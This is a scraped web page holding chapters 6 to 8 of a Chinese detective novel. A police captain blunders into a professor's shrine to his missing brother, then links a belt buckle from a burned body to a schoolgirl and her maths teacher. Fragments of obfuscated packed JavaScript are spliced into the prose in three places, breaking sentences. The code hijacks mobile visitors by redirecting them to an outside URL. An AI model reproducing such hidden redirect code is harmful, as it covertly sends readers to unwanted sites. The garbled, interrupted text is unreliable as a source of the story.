“头儿,你还有什么补充的么?” 还没等谢隐开口,秦淮却看了看表,说道:“午饭时间了,两位警官留下来一起吃午饭吧?我煲的汤,做几个小菜,很快的。” 韩易赶忙摇头拒绝,谢隐却在这时阻止了韩易。 “秦老师,按我们的纪律,是不能拿群众一针一线的。不过这也到饭点儿了,让人民群众饿着肚子接受问询也不好。这样吧,我们按市价给你钱,就麻烦您了!” 韩易都快吓傻了。他什么时候见过头儿在嫌疑人家里吃过饭? 他也不知道头儿葫芦里卖的什么药,但厨房中煲的汤已然飘出了香味。既然谢隐都这么说了,索性就同意留了下来。 趁着秦淮去厨房里忙活的间隙,谢隐仔细认真地观察了这个180平米左右的房子。除了一个房间的门是关着的以外,其他房间里都不同程度摆放了秦淮和小男孩的照片。 谢隐确认,没有小男孩的成年照。 秦淮果如他自己所说,动作很快。不到半个小时,四菜一汤就端了上来。看起来颜色清淡又很有食欲,让怀揣着其他心思的谢隐都不自觉的饿了起来。 秦淮准备了四副碗筷,很有主人意识地为每个碗盛了米饭,摆放在四个椅子前。 谢隐默默看着他熟练的动作,问道:“用我去叫你弟弟起来吃饭么?” 秦淮很自然地将属于弟弟的筷子放在空位前,摇摇头,“等他什么时候想吃,自己就出来吃了。” 谢隐盯着那副碗筷看,上面的卡通印记已然斑驳,明显用了很久了。 一个正值青春期的十八九岁男孩,会同意用这么幼稚的碗筷? 谢隐坐了下来,一边轻吹这勺子里的热汤,一边掏出手机,悄悄给卢晓明发了信息:和户籍联系,帮我查一下秦淮的弟弟。 菌菇汤的鲜香在唇齿间弥漫开来,谢隐没想到,这样一位寡淡的冷美人,竟然会如此有人间烟火气。 就在他决定先放下一切,填饱肚子再说时,手机响了。是卢晓明。 谢隐强忍着没把嘴里的汤喷出来,却也呛得他咳嗽不止。 秦淮好意递过纸巾,谢隐的第一反应却是按住了手机的屏幕。 因为上面赫然写着: 头儿,你是不是搞错了,秦淮根本没有弟弟! 6. 豪车惊魂6 谢隐夸张的举动落在秦淮眼中,并没有掀起太大的波澜。 秦淮一如平常地把纸巾放在了谢隐桌前恰到好处的距离,又仿佛什么都没发生一样,坐回到了自己的椅子上。 谢隐咳了好一阵子才渐渐平息,脸颊耳根已然泛起红晕,也看不出是咳缺氧了,还是紧张的。 谢隐不可能装作什么都没发生,一瞬间贼起飞智,拿起手机晃了晃。 “世风日下啊!我们单位的一个小年轻,大白天的给我发自己的裸/照!”说罢顿了顿,“幸亏我捂住了,免得污了秦老师的眼!” 谢隐这个慌撒得还算能自圆其说,但本质上拙劣不堪。秦淮淡然笑笑,没有说话。 这个笑,谢隐见过。与初相识时那个居高临下,包容万物的笑并无二致。 像什么呢?谢隐脑子飞快转动着······像他小的时候吹牛皮说自己见过外星人时父母的表情。 完了,脸皮比城墙还厚的谢隐这一次真的感觉耳根发烫了。因为此时,他才想起来,秦淮是个心理学专家。 根本不可能相信他扯的谎。 谢隐默默喝了两口汤,一边想着如何打破这尴尬的氛围,一边想着,谢隐家中的这个儿童到底是怎么回事。 秦淮似乎很体恤谢隐的尴尬,并没有说话。倒是一旁的二百五韩易听了这个“爆炸新闻”,在一旁兴奋不已。 韩易的小脑袋瓜里弹幕横飞: ——哪位同事能吃了熊心豹子胆,敢给头儿发自己的裸/照? ——该不会是有人想以此勾引头儿吧?这也太刺激了。 ——难道是哪位女同志?不能不能,头儿虽然帅,但阎王脾气不招女人喜欢。 ——啊啊啊这谁说得好啊!毕竟现在的女人只看脸啊! 强忍了几秒之后,韩易终于忍不住在谢隐耳旁问了起来:“头儿,谁啊,这么有自我挑战精神?” 谢隐喝了口汤,不打算理他。 韩易又聒噪地问了好几遍。谢隐终于厌烦不堪,应付道:“谁谁谁,卢晓明!” 韩易运行速度并不快的大脑终于在这一刻死机了,卢晓明这个铁憨憨,平时看起来挺老实的,没想到这么劲爆! 与此同时,谢隐开始冷静思考起来。 秦淮并没有弟弟,可他房间之中种种迹象表明,这里确实存在一个男童。如果是亲戚朋友家的孩子,秦淮大可不必谎称自己有一个亲弟弟。 没有一个合理的解释能够把秦淮的做法说通。 谢隐也知道,无论这里住着的是怎样一个孩子,都和本案关系并不大。他可以理智地将所看到的一切抛诸脑后。 可他做不到。 作为一名警察,谢隐无数次面对过失去孩子的父母那悲痛欲绝的脸。那一张张脸,像一张张写满悲愤诅咒的面具,时常在谢隐空闲下来的时候,不自觉地钻进谢隐的脑子里来。忘不掉,挥不去······ 儿童诱拐绑架案在发生之初,往往是不会太过顺利的。儿童面对并不认识的成年人的强行控制,一般都会哭闹不停,附近也可能会有目击者。 可往往就是这些目击者“多一事不如少一事”、“可能是别人家管教孩子”的心态,错过了拯救孩子的最佳时机,让一个个家庭因此支离破碎。 谢隐想到这,轻咬了一下后槽牙,旋即恢复了吊儿郎当的神色。 “不好意思啊秦老师,我这人吃饭事多。能劳烦您帮我拿点醋么?” “好。”算不上什么过分的要求,秦淮没有拒绝。 就在秦淮转头走进厨房的第一时间,谢隐一个健步冲到了关着门的房间门口,向下压了门把手。 门锁没打开,很显然是锁住了。 一般家庭,除非家庭成员相对复杂,否则即便有锁卧室门睡觉的习惯,也不会拔掉门外的钥匙。 谢隐没有太多的时间用来权衡利弊,他抬腿一脚踹向了房门。 “嘭”的一声巨响,门被踹开了。眼前的景象让谢隐惊呆了。 房间的地上冗杂又不失整齐地码放着各种各样小男孩喜欢的各类东西——四驱车、乐高、各色游戏机······开放式衣橱中挂满各种童装,都大概是十岁左右孩子穿的大小。书桌上、墙上挂满了一个清瘦小男孩的照片······ 一张看起来略显单薄的单人床被拥簇在房间中间,床品是巴斯光年的图案。 而床上,并没有人。只孤零零的,放着一个巴斯光年玩偶,正扯开它那标志的诡异微笑,看向谢隐。 没人······为什么没人? 谢隐仍在出神,可常年一线摸爬滚打所练就的直觉让他本能地将头一歪,靠向门右侧墙面,逃过了裹挟着万分怒意的当头一击。 “呼”,谢隐短促地出了一口气,心中仍带着一丝调侃地想到,这一拳怎么会这么快?这要是队里的那些生瓜蛋子,肯定躲不过去。 可接下来谢隐就笑不出来了。他弯起手肘向后猛地一击,对方猝不及防一个趔趄,可却没有谢隐预想中的应声倒地。 谢隐扭转回头,他知道无论如何不能背对着敌人,可就是回身的这个时间差,给了对方一个绝佳的进攻机会。 对方的手肘弯压向谢隐的锁骨处,原本就靠在右侧墙壁上还没来得及站稳的谢隐被死死按在了墙上。一辆无辜的四驱车成了谢隐脚下的冤魂,只留在人间一个脆生生的碎裂声,就寿终正寝了。 两个人,几乎无隙地面对面起来。 谢隐完全没有想到,这个看起来比自己瘦弱得多,甚至有些苍白病态的男人,会有如此大的爆发力。 他出拳的速度,攻击的角度,防御的准确性都让谢隐意识到,这不是一个靠蛮力的人。 这个秦淮,受过非常专业的搏击训练。 两个人贴得太近了,近到谢隐可以感受到秦淮短促而灼热的鼻息,近到谢隐可以看见秦淮眼中布满的红血丝呈网状四散弥漫开来,近到谢隐甚至可以听见秦淮几欲炸裂的心跳。 谢隐在这一刻迷茫了。因为他清楚看到秦淮眼中近乎凝为杀意的凶光,只来自于愤怒本身。不是恼羞成怒,不是凶恶毕露。这种愤怒很纯粹,纯粹到像一个被抢了玩具的孩子。 秦淮瓷白的长颈上狰狞分布着几条青筋,他的喉结上下滑动了许久,才堪堪按压住心中的怒火,从牙缝里挤出来一句话:“你进他的房间干什么?” 韩易并不知道二人之间的微妙均衡,他来不及多想,抬手一拳挥过去,想为师父解围。 他几乎是在近了秦淮身的一刹那被秦淮踹翻的。韩易并没能碰到秦淮,却也作为一个有力掣肘,给谢隐争取到了一个主动权。 谢隐猛地侧身,挣脱秦淮的束缚,同样是抬手肘相击,却并未施全力,只同样牢牢将秦淮桎梏在对面的墙上。 秦淮重心不稳,几乎是摔在墙上的。可即便如此,他还是小心翼翼地抬起了左脚,避免自己踩到地上的一个玩偶。 这让秦淮失去了反击的时机,但这小心的举动还是落在了谢隐的眼里,也让谢隐停止了攻击。 谢隐小心翼翼撤力,全身防御状态向后挪了半步。秦淮也会意对方的好意,只靠在墙上喘着粗/气,很显然,怒火仍在,但理智也回来了。 就在双方都心照不宣地决定坐下来好好谈谈的时候,谢隐裤袋里的手机又响了。 还是卢晓明的信息: 头儿,搞错了。秦淮确实有个弟弟,但已经死亡很多年,销户了,所以刚才没查到。 恰在此时,眼前的秦淮突然一头栽倒在地,呼吸看起来十分困难。他艰难地伸手指向桌子上的一个小瓶子。 谢隐明白了,秦淮有哮喘。 —— 韩易一边给谢隐受伤的胳膊上药,一边用余光观察着两位大佬的脸色。一脑门子的问号,却大气不敢出一声。 谢隐心虚,伤口用碘伏消毒之后就打算草草了事。 “行了行了,你去帮秦老师看看伤着没有。” 韩易腹诽:脑子被打傻了吧?刚才被踹一脚的人是我!你不关心我还胳膊肘往外拐!你这个负心汉! 嘴上却说:“好嘞,头儿。” 当代打工人的悲哀啊! 秦淮摇了摇头,示意自己没有受伤。方才因为过分激动而哮喘病发作,在谢隐的一番操作下,已然无恙。之后就是三人冗长而尴尬的沉默,最终还是秦淮先开了口。 秦淮有个弟弟,叫秦穆,如果还活着,今年应该17了。绝大多数孩子的出生,都应该伴随着父母对于美好生活的期冀,一同降临到这个世界上。但很显然,秦穆不是。 秦淮的亲生母亲很早就去世了,在他不记事时继母便进了家门,二人相处也算融洽,他从心底也承认这个女人就是自己的母亲了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043548|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 然而父亲和继母双双都是事业咖,在工作的忙碌和外界的干扰下,感情越来越淡,已然成为心不相交的邻人。他们自己都不知道这个孩子为什么会出现,甚至秦淮的父亲一直怀疑这个孩子与自己的关系。所以在秦穆出生以后,父母就又各自忙起了各自的事业。 把这个孩子,扔给了17岁的大儿子秦淮和家中的两个保姆。 秦穆很依赖秦淮,同样,秦淮也宠溺着秦穆。然而不知为什么,秦穆在他十岁生日那天,悄然消失在了所有人的视线里。就像他从来都没来过一样,就像是秦淮的一个幻觉一样。 警方几经调查,秦淮辗转多地,仍旧没能找到秦穆的下落。 就在秦穆失踪的第三年,秦淮的父亲和继母向人民法院申请宣告秦穆死亡。 这对法定监护人利落地办完了销户手续,然后又去办理了离婚手续。从此,这个世界上再也没有了秦穆这个人,秦淮也彻底没有家了。 谢隐难掩愧色,即便再好面子,可还是连连道了两次歉。他想解释一下自己这么做的初衷,但话到嘴边,又咽了回去。 他不是医生,不知道秦淮如今的种种诡异举动是单纯的缅怀亲人,还是创伤后多巴胺分泌的异常——精神分裂症导致的幻视现象。但无论如何,把一个失去亲人的受害者认作诱拐儿童的嫌疑犯,这是他的失误,也太残忍了。 这顿饭是肯定吃不成了,道歉的话再说一遍也毫无益处。他干巴巴地张了两次嘴,才鼓起勇气指着破坏的房门说道:“那个······门的钱和饭钱,我来付。” 说完这句话,谢隐像是被狠狠抽了一巴掌,脸上火辣辣的。他生怕此刻盛怒之下的秦淮会说出“谁要你的臭钱”的气话。 当然,如果对方说了,他也得受着。 可没想到,秦淮却轻描淡写地说了句:“好,你转我微信吧。” “啊?”谢隐错愕。 “有问题么?” “没问题没问题。”谢隐赶忙扫了对方的二维码。 微信名字就叫秦淮,头像一张黑色的图片,上面什么图案都没有。 就在谢隐二人决定离开的时候,秦淮叫住了他们。此刻的秦淮已然没有方才盛怒下的狰狞,又恢复了温润如玉的君子气度,声线也柔和了下来。 “谢警官,我知道你们此行来的目的。作为报案人,我和我的学生确实有很大的嫌疑。如果你们此行只是例行公事,那么就且当我接下来的话没有说过。但如果我真的被列为你们的重点调查对象,我可以很肯定地告诉你们,我不可能是凶手。” 聊回到案子,谢隐的神色也恢复了刑警支队副队长的一贯冷峻:“秦老师,刚才的事万分抱歉,但一码归一码,我不能因为对你心存愧疚,就把你的嫌疑排除掉。” 对方的语气依旧平静如水:“我说了,我不可能是凶手。” “为什么?” “因为这种焚尸伪造成意外的作案手法太蠢了,既抹不掉dna,又很容易引起警方的注意。” 谢隐点点头:“或许,您有更高明的方法。但只要是犯罪,就不存在高明一说。秦老师,我希望您不是凶手,这样我就可以再次来负荆请罪了。不过我不会因为你的三言两语就抹掉你的嫌疑。我还有个问题需要你回答,大学城位于A城北方,案发地点位于你们观景地点的南侧。拍完照画完画,你们为什么要往南走呢?” 韩易一愣,这才意识到自己在问询过程中遗漏了这么重要的信息点,不禁暗暗惭愧。头儿虽然脾气冲爱惹事,但办案上还真是靠谱。 秦淮坦荡回答:“南边有加油站,谢警官有疑问,可以去查。” 谢隐薄唇紧闭,没有回答。他需要进一步求证,而是不当场下结论。很显然,他的疑虑仍在。对于这个身上透着种种怪异的大学教师,谢隐充满了好奇和困惑。 似乎只要不涉及他的弟弟,秦淮的理智很难被任何人的言语轻易撼动。他见谢隐坚持如此,也没有太过执着,只继续说道:“好吧谢警官。不过如果,我是说如果,你们此刻一筹莫展,不妨试着去想想,为什么是他,为什么是那里,又为什么是那辆车。” 谢隐没有说话,他转头离开秦淮家。他隐约记得,那天最后一瞥,无意间落在了沙发上那副山村日出的油画上。 一轮红日在朦胧与混沌之中努力挣脱着。黑暗仍在,可它,终究降临。 7. 豪车惊魂7 回到警队,已经快到下班时间了。谢隐看着卢晓明熬出的黑眼圈,最终没忍心骂他。 哪怕他自己因为他的错误消息在秦淮家丢人丢大发了。 卢晓明只见谢隐阴沉着脸,也知道自己闯祸了,又不敢当面去问谢隐,只得偷偷把韩易拽到了一边,低声耳语,“头儿生气了么?” 韩易所掌握的所有信息量还停留在“卢晓明给头儿发裸/照”的阶段,他意味深长地打量了卢晓明一番,咂么了两下,说:“这事放谁身上,谁不生气啊?” 韩易继续问:“你不会是认真的吧?“ 卢晓明现在是热锅上的蚂蚁,“我当然是认真的。” 韩易拍了拍卢晓明的肩膀,一副“好自为之”的表情,叹了口气,离开了。 谢隐召集相关探组召开案情分析会,会议之前,卢晓明一个人坐在会议室的角落里发呆,魂不守舍的。韩易在一旁看着,心中不禁感叹,为情所困的人,太难了。 想到这,韩易也不知道哪升腾起一份孤勇来,竟然非常义气地决定帮卢晓明把他暗恋头儿的这个秘密保守下去。 对于韩易这份错位八卦毫不知情的另外一位当事人,谢隐,正在认认真真听荆哲的汇报。 “谢队,我们拿到局长签字之后,第一时间去调查了李凤臣父女二人的资金往来。李凤臣个人资金往来量极小,除合理日常开销外,并没有大额资金汇出。尤其是您交代重点调查李凤臣与报案人三人是否有资金往来。从目前的证据来看,李凤臣与三人并无关系。” 谢隐决定抛开秦淮三人不谈,说回李凤臣:“没有购买大额商品的记录么?那那两保时捷呢?” “房产、车辆都走的凤鸣集团账务,用以抵扣进项税,暂没有发现异常。但毕竟凤鸣集团体量大,如果想要毫无遗漏地调查李凤臣的资金往来状况,建议引进专业人员对凤鸣集团账目进行清点。” 谢隐摇摇头,这个工作量巨大,且毫无意义。如果李凤臣真的把雇凶杀人的资金走的公司账目,就一定有能力把账做得毫无痕迹。 而且多年的从业经验让谢隐有一种不能与人言的预感,他觉得这件事一定和李莘有关系。哪怕涉及李凤臣,也一定由李莘而起。李凤臣欲盖弥彰的掩饰,明显是为了将女儿李莘从这个案子中择出去。 荆哲继续汇报:“至于李莘,她的银行流水就更是简单。湖岸中学使用一卡通,她每个月从银行网点提取一定数额的现金存入一卡通。银行账面上除了取款,剩下的都是几十上百块钱的外卖转账了。” 谢隐:“银行卡上的现金来源呢?” 李莘:“凤鸣集团定期汇入。” 谢隐接过那张李莘近两年的银行流水单,仔细看了起来。 去年1月份开始,凤鸣集团每个月会给李莘汇入15万元。李莘每个月1日在学校附近的银行网点提款5万元,剩余10万元,这种状态一直保持到了去年11月份。 生活在湖岸中学这样的贵族学校,一个月5万元的生活费不能说少,也不能说多。在这十个月里,李莘在用钱这方面还算得上节制,至少没有老子给多少就花多少,也算富二代中难得的“节俭”了。 可是从去年12月份开始,这种规律的提款节奏被打破了。12月1日,李莘提款5万元,与往月没什么不同。可到了当月23日,她又在学校的ATM机上提了2万元。 很显然,这5万元不够花了。 今年1月1日,直接提款10万元。谢隐在这行后面画了一个红色的问号。 为什么这两个月开始,李莘的生活成本明显增加? 2月1日,提款10万。 3月1日,提款10万。 4月1日,提款10万。 谢隐的目光落在了流水单的最后一行,日期停留在了4月1日。 他抬头问荆哲:“没了?” 荆哲点头:“没了。” 谢隐又在这一行后面画上了一个大大的问号。为什么从5月份开始,李莘就没再提过钱? 一连串的疑问困扰着谢隐。他知道,荆哲看懂了他的心思,索性没有说话,只下颌微扬,示意荆哲继续。 “1月到4月,李莘每个月多提取5万元,共计20万元。按照现在的物价,几乎很少有人愿意为了20万元杀人。当然,走投无路急需用钱的人另当别论。” 谢隐沉吟片刻,点头:“李莘对于银行卡上的钱是有支配权的,如果真的想雇佣杀人,没必要每个月攒5万元。如果是为了将这笔钱分摊出来应付警察的调查,她不会在5月份开始停止取钱,这样更可疑。所以,去年12月和今年5月,李莘一定遇到了什么状况,而这个状况,很可能就和这个案子有关。” 至于到底发生了什么,只有明天亲自去问李莘了。 荆哲汇报完,谢隐看向卢晓明。卢晓明仍旧为给头儿发送错误情报而懊恼,一时间没反应过来轮到自己汇报了。 一旁的韩易用胳膊肘怼了卢晓明一下,心中又感叹,陷入情网真可怕,真能让人失魂落魄。 卢晓明一激灵,才意识到到自己汇报了。好在一回到工作状态,整个人看起来精神了许多。 “头儿,我们这组去调查了全市近三年来到医院就诊的白化病患者,共计2600人。除去其中1432名女性,460人已经确认死亡并有正规死亡证明,符合被害者身高170,年龄37岁左右的患者只有7人。我们组分头联系上了这7个人,并确认这7人现均活着,而且没有失踪。” 也就是说,通过本市白化病患者排查,并没有为寻找尸源提供有效的信息。 卢晓明征求谢隐的意见:“头儿,要不要给其他地市发协查通告,扩大排查范围?” 很显然,这一条更是行不通。全国白化病患者现有7万人左右,这还是官方掌控的数据。这个工作量是近乎不可能完成的。 尽管谢隐已经猜到了答案,但他还是想确定一下:“李凤臣父女二人的人际关系网中,是否有白化病患者?” 卢晓明:“就目前掌握的信息来看,李凤臣家族并没有白化病患者,也没有证据表明他们父女二人的同事、同学、客户、朋友中有白化病患者。当然,我们目前掌握的信息还十分有限,如果有必要,还需进一步查证。” 一时间,整个会议室鸦雀无声。谢隐用中性笔的一端抵着下唇,他安静地思考着,而队里的所有人,都在等他的指示。 目前,除了找到了车源,和对李莘的诸多怀疑之外。这个案子几乎走到了一条死胡同里来。尽管办案多年,谢隐经常说“排除一切不可能,才能发现可能”,可他比谁都知道,每一条路都堵死时,那种难以言喻的煎熬有多折磨人。 前路渺茫,气氛压抑。就在所有人都觉得领导会催促他们继续寻找线索的时候,谢隐却轻描淡写地说了一句:“都回家睡觉吧,谁也别加班了。” 他低着头,没有看向任何人,只是不紧不慢地收拾着手头的资料。 然后,在所有人的注目下,离开了会场。 他没有多说一句话,没有过分的表情和神色。可所有人都知道,一旦他们的领导收起了往常的嬉皮笑脸,那就说明,他的压力就要爆棚了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043549|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 已然入夜,尽管正值盛夏,也没有了白日里的闷热与烦躁。 谢隐索性关了空调,将车窗打开。路两旁的点点光晕在疾驰中向后退去,带着一丝清凉的晚风吹进车里,吹走了一身的疲惫与躁郁。 谢隐决定,回家倒头就睡。管他什么线索案情,明早起来再说。 可真到了家里,谢隐却翻来覆去睡不着了。今天白天所发生的一幕一幕循环浮现在他的脑海里,一会是秦淮那包容的笑意,一会是秦淮那猩红的双眼。 一个人,如此极端的两种状态在谢隐的脑海里滚动出现。鬼使神差的,谢隐起了床,在书房中翻箱倒柜地寻找起一本书来。 大概找了半个多小时,才在一堆早已蒙尘的旧书里找到了一本封皮都破碎了小说来。 三岛由纪夫的《金阁寺》。 谢隐已然记不起上次翻开这本书是哪个世纪的事了,好在一个人出来住的时候把从小到大的藏书都搬了出来。 日本文学尤以惯常的大段独白和描写让谢隐很快就感受到了困意。他窝在书房的转椅上,朦胧的光晕更给人昏昏欲睡的感觉。他就在这样迷迷糊糊的半睡半醒间,读完了这本篇幅并不长的小说。 他一面想着小说里那个把所有期冀都托付给金阁寺,又最终因为失望而毁掉了金阁寺的主人公小和尚,一面想着自己也应该买一个秦淮家那个沙发椅。 就这样,谢隐终于进入了梦乡。 梦里,他置身在一个不高的山丘上,周遭黑暗无际。没有星光,没有微风,没有人迹。只有遥远的地平线上,一团红色尽力挣脱黑暗与混沌。 这团红色更像是一团火,一团烧在谢隐胸膛里的火,烤得他口干舌燥,焦急万分。他在期盼着什么,却又不知道自己在期盼什么······ 那团红色终于在天际间燃烧起来,耀眼,夺目。谢隐想要看,却看不清是初升的太阳,还是烈火中燃烧的金阁寺······ 只有一个声音犹如经文咒语一般逡巡在谢隐的耳边: 为什么是他,为什么是那里······ “啪!” 谢隐手中的书掉落在地上,打破了黑夜的宁静,也把梦魇之中的谢隐拯救了出来。 他揉了揉僵硬的脖子,坐起身。梦中的一切犹如烙印一般分毫不差地出现在谢隐的脑海中,那段话已然在循环:为什么是他,为什么是那里,为什么是这辆车······ 白天谢隐听到秦淮说这段话的时候特别想笑,如果谢隐知道为什么,不就已经知道事情的真相了么? 可夜深人静再次思量这段话······为什么恰好是这个人,被抛尸在这个地方,又恰巧是这辆车里呢? 这是巧合么?不可能。 秦淮是想告诉谢隐,死者、这辆车、这个地点,他们之间的关系一定是缺一不可的。而谢隐需要找到的,就是证明这个关系网的纽带! 谢隐一个激灵坐直了。他像突然想起了什么,疯狂翻着案件资料。 翻了半天,谢隐才找到那张让他匆匆一瞥就扔在了一边的照片。 那是痕检部门拍摄的死者遗物,本以为只能在家属辨尸时候用的——一枚没有燃烧完全的皮带扣。 那个皮带扣上的图案是一朵半盛开的花,谢隐不知道这是一朵什么花,月季?玫瑰?都不像。正是因为不知为何物,便有了足够强的好奇心,也有了足够深的记忆力。谢隐见过这朵花,在哪里……谢隐站起身踱着步,一个答案呼之欲出。 对了!就在李莘那串紫檀木手串上!一模一样的图案! 8. 豪车惊魂8 谢隐十分庆幸昨晚把这个案子最重要的一环想通了,不然单凭一份存疑的流水单真的很难撬开李莘的嘴。 因为第二次见面,李莘已经是有备而来。李凤臣李莘请了个律师。 办案多年,尽管警察和律师都作为法律体系不可缺少的重要组成部分,二者也大都秉持着还原真相的初衷,但谢隐面对这种情况,仍旧有很强的不适感。 不适归不适,毕竟法律允许,谢隐也没法子。 “谢警官,我当事人对于她所不了解的情况有权保持沉默。”这大概是这位四十岁出头,名叫郭璞的律师说过最多的一句话。谢隐不惮以最坏的恶意揣测,这家伙当年参加司法考试,背会的第一句话可能就是这句。 韩易在旁恨得牙根痒痒,却也无可奈何。倒是谢隐不急不忙,将李莘的银行流水单递了过去。 “李莘同学,请问为什么在去年12月之后,你的提款规律发生了巨大变化。12月发生了什么,让你需要多花了2万元钱?接下来又有那些支出,让你每个月多花5万元?还有······5月份之后,你为什么都没有再提过钱?” 谢隐近乎一字一顿说完这段话,语速放得很慢,看似为了条分缕析说明问题,实则那双鹰眼正观察着李莘的每一个细微表情。 李莘还没等听完这段冗长的提问,双眉便微皱,先是表现得很茫然,再后来,就是一副莫名其妙表情。她看向郭璞,轻声问道:“这有什么问题么?” 郭璞则抬手示意李莘稍安勿躁,旋即转头问谢隐:“谢警官,银行流水作为我当事人的隐私,你们有何依据随意调取?” 谢隐不紧不慢喝了口温水:“这位律师,姓·····哦姓郭。郭律师,根据《刑事诉讼法》规定,公安机关因侦查、起诉、审理案件,需向银行查询案件直接有关的个人存款时,向银行提供立案通知单和正式查询函即可。有关单位和个人应给予配合。” 说到这,还没等郭璞回话,谢隐继续说:“相关手续我们公安机关已经存档,他日案件完结,提起诉讼时会给检察机关送卷的,合不合法合不合规,自有检察机关裁断。自然不劳烦郭律师操心,郭律师也讲究权力,那你也应该知道自己操不操得起这份心。” 郭璞被有理有据地怼了回来,只能摆出一副“你们自便”的表情。 谢隐也不急着说案子,他轻轻舔了一下唇角,眉梢微挑,扯开笑意,意味深长地说道:“郭律师,我们带着镣铐跳舞跳得久了,怎么舞姿优美还不受伤,比你们门儿清。” 韩易一旁观战,被头儿这一段反击震得格外提气。他看着谢隐最后的那个微笑,由衷觉得他家头儿那双本就带桃花的眼睛笑起来可真好看。刚刚要让女孩子们看到这一幕,估计得被迷得个七荤八素来。 可真真切切坐在这里,目击一切的女孩子,李莘,却丝毫没有兴致观赏这位警官的美貌。她见律师也没话可说,神色上明显不安起来。她干巴巴地说:“就日常生活,买衣服,买包,买学习资料······不自觉把钱花超了,这也犯法么?” 谢隐“啧”了一声,从韩易面前拿来一个档案盒,食指轻点了几下,不紧不慢,韵律十足。 “李莘同学,湖岸中学是一个管理有多严格的学校,你比我们清楚。即便是周末,没有教师的假条,你都出不去。这么小的活动范围,精准的时间线,你觉得我们作为警察如果想要调查你的消费状况,真的查不到么?” 谢隐停顿一下,因为他看见李莘舔了舔微干的嘴唇。即便桌上就有水,她却没喝一口。很显然,她已经无暇思考这么多了。她变得更加烦躁不安了。 谢隐继续:“我承认,这个工作量很大。但刑侦工作嘛,比这工作量还大的事我们也做过。端这个饭碗我们就得干这份活,李莘同学,你要相信警察的耐心是无限大的,但法律的包容度可是有限的哟。” 韩易不自觉地深吸了一口气,很想告诉头儿。您老帅归帅,真不适合卖萌。 李莘的双手不断互相揉捏着,她的目光飘忽不定,像是在急切寻找着什么,又像是在逃避着什么。她轻咬下唇,良久没有说话。 谢隐也不急,只等着她的焦虑发酵变大。 用不了多久的,谢隐想。因为他能感觉到,这份焦虑正在以几何速度增长。 很快,就爆发了。 李莘的双眼猩红,双目怒瞠欲裂,近乎歇斯底里地吼道:“这和你们有什么关系?不是说死人了吗?我花多少钱,和死人有什么关系!” 郭璞站了起来,语气略带强硬地说:“谢警官,我建议就到这吧。你们已经严重影响到我当事人的情绪。” 谢隐嗤笑:“很抱歉,你当事人涉及的案子也影响到了我们的情绪。” 他指了指韩易下巴上刚冒出来的一枚痘痘:“你看,这就是证据。” 谢隐开完玩笑,话锋一转,语气也稍稍缓和了一些。 “你说没关系,我们就暂且当成没关系吧。那咱们说点和案子有关系的。” 说罢,谢隐从档案盒中抽出一张照片来,“那么李莘同学,这个腰带扣,我想你该认识吧。” 在目光落到照片上的瞬间,李莘的瞳孔骤然紧缩。她惊愕到近乎尖叫出来,但又好似有种强烈的意志力让她生生咽下了这份错愕。 这一切都表明,李莘是认识这枚腰带扣的,也就说明李莘是认识死者的。可令谢隐不解的是,在短暂错愕之后,李莘的眼神开始变了。 变得更像是······解脱,甚至是,欣慰? 先前的烦躁不安,亦或是恐怖不已,都不见了。李莘仿佛卸下了万斤重担一般,长舒了一口气。 这是谢隐始料不及的。 “不认识。谢警官,这是什么?”李莘的脸上开始有了笑意。 “和你手串上一样图案的腰带扣,是死者的遗物。” 李莘毫不犹豫地回答:“巧合吧,谢警官。我身上还穿着湖岸中学的校服,你不能说穿着这身校服死的人都是我杀的,对吧?” 谢隐的大脑飞快转动着,李莘的态度为什么会突然间一百八十度大转变?她在欣慰什么?她为什么解脱了? 一个答案突然出现在谢隐的脑海里:她发现死的人,不是她关心的人。 对,一定是这样。她所有的焦虑和愤怒都来自于对于死者是谁的不确定性,才会在知道答案的一瞬间,得到解脱。 如此说来,李莘可能真的不是凶手。但也能证明,李莘一定知道,死者是谁。 就在谢隐头脑风暴接近尾声,正在思考下一步要如何走的时候,一旁坐了很久,几乎与办公室背景融为一体的看客——李莘的班主任却诈尸一样喊了出来:“这不是马老师的腰带扣么?” 尽管李莘三缄其口,但谢隐也没想到,这趟湖岸中学之行,竟然还会有意外收获。 班主任在仔细观察了腰带扣的照片之后,更加确定:“对,就是马老师的。我们年级的数学老师,马骏老师。” 谢隐秉着认真负责的态度问:“您怎么确定?” 班主任:“马老师几乎每天都会换一套新衣服,很少见他穿洗过水的衣服,可偏偏腰带扣从来不换。我有一次还好奇问过他,他说有特殊意义。因此我还特意观察过几次,就是这个挺罕见的半展开山茶花图案。不知道是什么品牌的,也没见别人戴过一样的。” 谢隐醍醐灌顶,对了,山茶花。 这是一个重大的突破,谢隐马上追问:“那马老师人呢?” “去京城参加一个数学研讨会了,请了7天假。”班主任对此很确定,“现在数学课都在上自习,每次我都会去班级看看。” 谢隐:“哪天走的?” 班主任:“6月9日上午,临走时还和我打了招呼。” 6月9日······白超然给出的死亡时间,正是6月9日16时左右! 谢隐马上让班主任给马老师打电话联系。 谢隐焦急等待结果,余光里扫到的李莘的表情,看得出来,她也很急切。 对,谢隐的观察力告诉他,这是急切。区别于焦躁不安和冷漠无情,是一种单纯想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 